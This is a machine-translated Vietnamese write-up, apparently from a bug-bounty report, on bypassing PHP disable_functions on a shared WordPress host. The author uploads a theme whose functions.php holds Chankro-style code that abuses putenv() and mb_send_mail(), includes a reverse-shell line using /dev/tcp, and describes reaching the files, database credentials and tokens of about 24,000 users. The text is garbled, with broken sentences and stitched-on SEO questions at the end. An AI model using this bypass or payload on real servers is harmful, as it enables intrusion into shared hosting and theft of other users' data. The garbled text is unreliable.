Tắt chức năng php
Hôm nay tôi sẽ chỉ cho bạn cách tôi có thể bỏ qua disable_functions và lấy một trình bao từ xa giúp tôi truy cập hầu hết các tệp của người dùng Show Trước hết, Đây là một chương trình công khai, tuy nhiên, tôi sẽ đề cập đến nó với mục tiêu. com logic ứng dụngMục tiêu của ứng dụng mục tiêu này là tạo blog mới cho người dùng đã đăng ký trong miền của nó (e. g. blog mới. Mục tiêu. com) sử dụng công cụ WordPress Các trang blog có thể được chỉnh sửa và thiết kế bằng trình chỉnh sửa ứng dụng hoặc bằng bảng điều khiển WordPress Thăm dòBắt đầu từ blog mới tạo của mình, tôi đã mày mò để kiểm tra xem mình có những đặc quyền nào và những tính năng nào tôi được phép sử dụng hoặc sửa đổi, và trong các ảnh chụp màn hình sau đây, tôi đã cho thấy quan sát đầu tiên của mình. Mặc dù tôi có vai trò Quản trị viên nhưng blog của tôi không có tab trình chỉnh sửa, không giống như một blog WordPress thông thường sẽ có Không có cách nào tôi có thể chỉnh sửa bất kỳ plugin hoặc chủ đề nào, nhưng tôi có thể tải lên một cái mới Tôi cần kiểm tra xem có bất kỳ hạn chế nào đối với việc tải lên các tệp đã chỉnh sửa hay không, đồng thời cần kiểm tra khả năng chạy mã PHP của riêng tôi Vì vậy, thay vì chỉnh sửa chủ đề/plugin hiện tại, tôi bắt đầu tải lên một chủ đề/plugin mới, tôi đã tải xuống một chủ đề đơn giản có tên là “Blank Canvas” và cố gắng mở tệp PHP chính sẽ chạy mỗi khi ứng dụng tải blog của tôi để tôi có thể . php Tôi đã thử in một chuỗi đơn giản và tất cả đều tốt Sau đó, tôi bắt đầu chạy bất kỳ lệnh hệ thống nào với các hàm shell_exec() và system(), v.v., nhưng không có đầu ra Tôi đoán rằng các chức năng này đã bị vô hiệu hóa và sau khi kiểm tra phpinfo(), tôi đã đúng Nếu bạn không biết disable_functions là gì, điều này cho phép máy chủ vô hiệu hóa một số chức năng PHP nhất định để nâng cao tính bảo mật của máy chủ và bạn có thể đặt nó bằng php. ini hoặc với cấu hình máy chủ Ngoài ra khi tôi kiểm tra open_basingir để kiểm tra các thư mục mở mà tôi được phép truy cập. -tất cả các đường dẫn được phân tách bằng dấu hai chấm- Tôi thấy rằng tôi không thể truy cập bất kỳ tệp hệ thống nào, chỉ các tệp wp và tệp đã tải lên của tôi Tôi cũng nhận thấy từ các thư mục được phép rằng tên miền phụ trang web của tôi có các tệp riêng theo đường dẫn sau /mnt/customars-MY_SUBDOAMIN_NAME-wordpress-pvc-RANDOM_VALUE/ Điều này cũng khiến tôi chú ý, bởi vì nếu tài khoản/trang web của tôi có một thư mục trong máy chủ, có thể máy chủ này là máy chủ dùng chung và chứa các tệp của người dùng khác Và nếu vậy, và như tôi đã nói ở trên, chúng tôi không thể truy cập nó do chính sách open_basingir, vì vậy chúng tôi cần tìm cách vượt qua những hạn chế này và lấy một trình bao từ xa để khám phá các tệp máy chủ để kiểm tra xem dự đoán của tôi có đúng hay không Bỏ qua disable_functionsSau một số nghiên cứu, tôi đã đưa ra hai phương pháp, hãy thảo luận về một trong số chúng, nhưng trước khi chúng ta bắt đầu, có một số điểm cần tuyên bố
Bây giờ chúng ta có ý tưởng chính, đó là thiết lập hoặc ghi đè biến môi trường Tóm lại, chúng ta cần những điều sau đây
Một trong những hàm nổi tiếng trong PHP là hàm mail(), Nếu nó được thực thi trong PHP và tôi biết nó bị vô hiệu hóa trong trang phpinfo trong trường hợp của chúng tôi. Tuy nhiên, dù sao đi nữa, chức năng này sẽ sử dụng tệp nhị phân Có một chức năng hoạt động giống như “mail()” là “mb_send_mail()” nhưng nó sẽ chỉ hoạt động nếu mô-đun mbstring được bật, hãy xem lại phpinfo Tốt, nó đã được kích hoạt, bây giờ chúng ta có thể sử dụng nó Để đặt biến môi trường, chúng ta có thể sử dụng hàm putenv() và như bạn có thể nhận thấy, nó cũng không bị tắt điều cuối cùng là tạo thư viện tùy ý của chúng tôi, tôi đã tìm thấy công cụ Chankro, công cụ này sẽ giúp chúng tôi làm tất cả những điều đó, bạn sẽ cung cấp cho nó tải trọng trình bao ngược và thư mục bạn kiểm soát và nó sẽ cung cấp cho bạn mã PHP cuối cùng để Công cụ này dựa trên việc sử dụng hàm mail() nên chúng ta có thể dễ dàng chỉnh sửa mã nguồn và thay đổi mail() thành mb_send_mail() Lưu tệp đã chỉnh sửa và chúng tôi có thể sử dụng tải trọng Shell đảo ngược đơn giản như bash -c 'sh -i >& /dev/tcp/ Bây giờ chúng ta có thể chạy công cụ và kết quả sẽ là một tệp PHP có mã tùy ý của chúng ta Hãy thêm nội dung của nó vào các chức năng. php trong các tệp chủ đề “Blank Canvas” và tải nó lên Tất cả đều tốt, chúng tôi có thể tạo trình nghe Netcat và truy cập trang web của chúng tôi Chúng tôi đã có một trình bao ngược, bây giờ trở lại mục tiêu chính, chúng tôi muốn biết liệu đây có phải là máy chủ dùng chung có tệp của người dùng khác hay không Và khi tôi tìm kiếm, tôi đã tìm thấy tệp cho khoảng 24000 người dùng Ngoài ra, tôi đã tìm thấy tên người dùng và mật khẩu Cơ sở dữ liệu của hầu hết người dùng, tôi đã tìm thấy một số mã thông báo xác thực của những người khác, v.v. Vô hiệu hóa chức năng là gì?Chức năng vô hiệu hóa cho phép máy chủ vô hiệu hóa một số chức năng nhất định để nâng cao mức độ bảo mật của máy chủ . PHP có rất nhiều chức năng có thể được sử dụng để bẻ khóa máy chủ của ứng dụng nếu chúng không được sử dụng đúng cách.
Các loại hàm khác nhau trong PHP là gì?Hàm PHP . Các hàm tích hợp trong PHP. . Các hàm do người dùng định nghĩa PHP. . Tạo một hàm do người dùng định nghĩa trong PHP. . Đối số chức năng PHP. . PHP là một ngôn ngữ được gõ lỏng lẻo. . Giá trị đối số mặc định PHP. . Hàm PHP - Trả về giá trị. . Khai báo kiểu trả về PHP Chỉ thị PHP INI nào sau đây nên bị vô hiệu hóa để cải thiện tính bảo mật cho ứng dụng của bạn?PHP. Cài đặt INI Vô hiệu hóa exec, shell_exec, system, popen và các chức năng khác để cải thiện bảo mật - nixCraft |